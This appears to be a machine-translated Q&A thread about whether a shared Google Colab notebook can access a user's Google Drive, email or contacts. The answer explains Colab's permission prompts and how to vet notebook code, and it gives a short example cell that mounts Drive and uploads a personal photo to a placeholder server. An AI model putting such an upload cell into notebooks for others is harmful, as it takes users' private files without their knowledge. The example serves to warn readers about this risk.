Google Colab 笔记本是否与笔记本作者共享我的云端硬盘数据?

Saf*_*wan 9 gpu google-drive-api tensorflow google-colaboratory

我正在学习在线教程,导师提供了 Google Colab 笔记本作为补充。但是每当我从笔记本运行任何单元时,我都会收到如下警告消息:

警告:此笔记本并非由 Google 创作。本笔记本由 xyz@gmail.com 创作。它可能会请求访问您存储在 Google 中的数据,例如文件、电子邮件和联系人。如果有任何其他问题,请查看源代码并通过 xyz@gmail.com 联系此笔记本的创建者。取消按钮。无论如何运行按钮。

  1. 这是否意味着 Colab 笔记本的作者可以访问我的文件、电子邮件和联系人等数据?

  2. 如果是,有什么方法可以阻止作者访问我的数据吗?

  3. 警告消息表明它可能请求访问。这是否意味着如果/当笔记本想要访问数据时,它会通过弹出窗口询问我的许可?

  4. 警告消息要求我查看源代码。但我到底应该在源代码中寻找什么?

我尝试谷歌搜索但没有得到任何答案。

预先非常感谢。

小智 1

TL;DR:除非您明确允许访问您的 Google 帐户,否则您可以安全地执行笔记本(GCE VM 除外,您可能已经授予其访问数据的权限)。

  1. 这是否意味着 Colab 笔记本的作者可以访问我的文件、电子邮件和联系人等数据?

取决于笔记本的内容,是的。

运行无害的代码片段(例如)print("hello, world!")不会向作者发送任何数据;毕竟,Colab 只是一个运行 Jupyter Notebook 的环境。但是,如果该单元包含一些恶意代码,则攻击者可能能够访问您的数据。

Colab 具有一组功能,使 Python 脚本能够访问用户的数据,即Google Drive 的内容。还有其他 API 会公开您的信息,包括您的Gmail 地址和(理论上)联系人。攻击者可以使用这些功能来检索您的数据,然后将它们发送到他们的服务器(例如库)requests

## If the user runs this cell, an image in their Google Drive will be 
## sent to my server. Needs the user's authentication, though.
from google import drive

drive.mount("/gdrive")  # a popup asking for permission will appear
with open("/gdrive/Google Photos/DSC_0001.JPG", "rb") as f:
    requests.post("https://0.0.0.0/upload/", files={"files": f}, data={})
Run Code Online (Sandbox Code Playgroud)
  1. 如果是,有什么方法可以阻止作者访问我的数据吗?
  2. 警告消息表明它可能请求访问。这是否意味着如果/当笔记本想要访问数据时,它会通过弹出窗口询问我的许可?

当您将笔记本电脑连接到 Google 托管的虚拟机(通过单击窗口左上角的“连接”)时,该计算机不会连接到您的 Google 帐户;它需要您采取行动,笔记本才能通过弹出窗口或令牌(在 CLI 中)访问您的数据。例如,当您的笔记本尝试将 Google Drive 安装到虚拟机(使用drive.mount())时,系统会在弹出窗口中询问您是否允许。

因此,除非您明确授予访问链接到您帐户的数据的权限,否则攻击者无法检索它。

顺便说一句,连接到 GCE VM 是另一回事。根据您设置计算机的方式,您可能已经登录到虚拟机上的 Google 帐户。在这种情况下,您必须非常小心,因为运行一个恶意单元就足以危及您的信息。

  1. 警告消息要求我查看源代码。但我到底应该在源代码中寻找什么?
  1. 如果单元格包含一些要求您登录 Google 帐户的代码,则应谨慎行事。
  2. 如果您确实需要授权某种级别的访问,则适用标准安全检查表;考虑作者是否值得信赖,并彻底检查笔记本,查找任何检索您的数据并将其发送到外部服务器的代码。但如果代码很复杂,这可能并不明显(如果我是攻击者,我不会把它放在容易找到的地方)。